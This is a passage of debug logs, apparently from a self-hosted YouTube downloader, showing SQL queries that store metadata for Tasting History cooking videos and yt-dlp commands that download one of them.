Wine from 1723", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", 824, false, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].mp4", false, 3, ~U[2025-12-19 16:00:01Z]] 02:53:34.684 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.685 [debug] QUERY OK source="media_items" db=1.2ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-16 16:01:10Z], 3] 02:53:34.687 [debug] QUERY OK source="media_items" db=1.0ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - https://youtu.be/jXxHTUPOy6Y\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "fa0eab2e-7c46-4673-8060-d73b5cbd7b98", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", false, 1393, false, 17, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].mp4", false, false, 3, [], 98, ~U[2025-12-16 16:01:10Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - https://youtu.be/jXxHTUPOy6Y\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", 1393, false, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].mp4", false, 3, ~U[2025-12-16 16:01:10Z]] 02:53:34.687 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.689 [debug] QUERY OK source="media_items" db=1.2ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-09 16:00:45Z], 3] 02:53:34.690 [debug] QUERY OK source="media_items" db=1.2ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/titanium-pro-cookware-set?utm_source=influencer&utm_medium=affiliate&utm_campaign=maxmiller&utm_term=december25&utm_content=youtube\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/turkishdelight\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/p-7470-musk-candy-flavor.aspx\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "1c7dd7db-d7be-498d-96d1-e1f888f2be2e", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", false, 1379, false, 18, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].mp4", false, false, 3, [], 98, ~U[2025-12-09 16:00:45Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Our Place is having their biggest sale of the year - use my link to shop their Titanium Pro Cookware Set at the lowest price I’ve ever seen: https://fromourplace.com/products/titanium-pro-cookware-set?utm_source=influencer&utm_medium=affiliate&utm_campaign=maxmiller&utm_term=december25&utm_content=youtube\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/turkishdelight\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nCulinary Grace Musk Flavoring - https://shop.perfumersapprentice.com/p-7470-musk-candy-flavor.aspx\nSherbet & Spice by Mary Isin - https://amzn.to/49YJomZ\nBountiful Empire - https://amzn.to/4a05bL2\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", 1379, false, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].mp4", false, 3, ~U[2025-12-09 16:00:45Z]] 02:53:34.691 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.692 [debug] QUERY OK source="media_items" db=1.2ms idle=4.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:00:18Z], 3] 02:53:34.694 [debug] QUERY OK source="media_items" db=1.0ms idle=5.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxMillerDec\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/englishtoffee\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "3ec816ee-5e61-4a2d-b798-3b6bd817910e", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", false, 1123, false, 19, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].mp4", false, false, 3, [], 98, ~U[2025-12-05 16:00:18Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxMillerDec\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/englishtoffee\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", 1123, false, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].mp4", false, 3, ~U[2025-12-05 16:00:18Z]] 02:53:34.694 [debug] QUERY OK source="sources" db=0.2ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.696 [debug] QUERY OK source="media_items" db=1.1ms idle=4.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 16:01:33Z], 3] 02:53:34.697 [debug] QUERY OK source="media_items" db=1.1ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/revolutionarygingerbread\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=40270300\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index.php?curid=279000\n\n#tastinghistory", "Gingerbread for Washington's Army", "d286dc26-21b7-46a0-b0c9-b14fd1f1a1a1", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", false, 1349, false, 20, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].mp4", false, false, 3, [], 98, ~U[2025-12-02 16:01:33Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/revolutionarygingerbread\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=40270300\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index.php?curid=279000\n\n#tastinghistory", "Gingerbread for Washington's Army", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", 1349, false, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].mp4", false, 3, ~U[2025-12-02 16:01:33Z]] 02:53:34.697 [debug] QUERY OK source="sources" db=0.2ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:53:34.699 [debug] QUERY OK source="media_items" db=1.2ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-28 15:00:17Z], 3] 02:53:34.700 [debug] QUERY OK source="media_items" db=0.8ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Signed Copies of the Tasting History Cookbook - https://www.tastinghistory.com/cookbook\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n#tastinghistory #christmas", "Mulled Wine from 1845 & A Christmas Cooking Marathon", "00d2b8dd-4ca5-4880-a172-4fe81cf8115a", "6aKvdoUEVzY", "https://www.youtube.com/watch?v=6aKvdoUEVzY", false, 14952, false, 21, "/downloads/Tasting History with Max Miller/2025-11-28 Mulled Wine from 1845 & A Christmas Cooking Marathon/Mulled Wine from 1845 & A Christmas Cooking Marathon [6aKvdoUEVzY].mp4", false, false, 3, [], 98, ~U[2025-11-28 15:00:17Z], ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], "Signed Copies of the Tasting History Cookbook - https://www.tastinghistory.com/cookbook\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n#tastinghistory #christmas", "Mulled Wine from 1845 & A Christmas Cooking Marathon", "6aKvdoUEVzY", "https://www.youtube.com/watch?v=6aKvdoUEVzY", 14952, false, "/downloads/Tasting History with Max Miller/2025-11-28 Mulled Wine from 1845 & A Christmas Cooking Marathon/Mulled Wine from 1845 & A Christmas Cooking Marathon [6aKvdoUEVzY].mp4", false, 3, ~U[2025-11-28 15:00:17Z]] 02:53:34.700 [debug] QUERY OK source="sources" db=0.1ms idle=4.7ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z], 3] 02:53:34.702 [debug] QUERY OK source="media_items" db=1.4ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:53:34.705 [debug] QUERY OK source="media_items" db=0.3ms idle=2.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:53:34.706 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 02:53:34.706 [info] No notification servers provided for source 3 02:53:34.707 [debug] QUERY OK source="tasks" db=0.1ms idle=1.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1741, 3, ~U[2026-04-01 06:53:34Z], ~U[2026-04-01 06:53:34Z]] 02:53:34.707 [info] {"args":{"id":3},"id":1731,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":59766878,"event":"job:stop","queue_time":941787,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 02:53:37.790 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ff/57/ff5718aa03c66124a12e50864813dcc46652dfb9976a14bc8b8f35e7b1af6af5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 02:53:37.790 [debug] Running yt-dlp command for action: download 02:53:37.791 [debug] QUERY OK source="settings" db=0.1ms idle=1263.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:53:37.791 [debug] QUERY OK source="settings" db=0.1ms idle=1263.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:53:37.791 [debug] QUERY OK source="settings" db=0.0ms idle=1264.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:53:37.792 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/43/b8/43b8d46a5d02f4ace789a34174b352282677f08521349be4066204e0d22cc120.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:53:51.133 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.443 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:54:02.401 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata 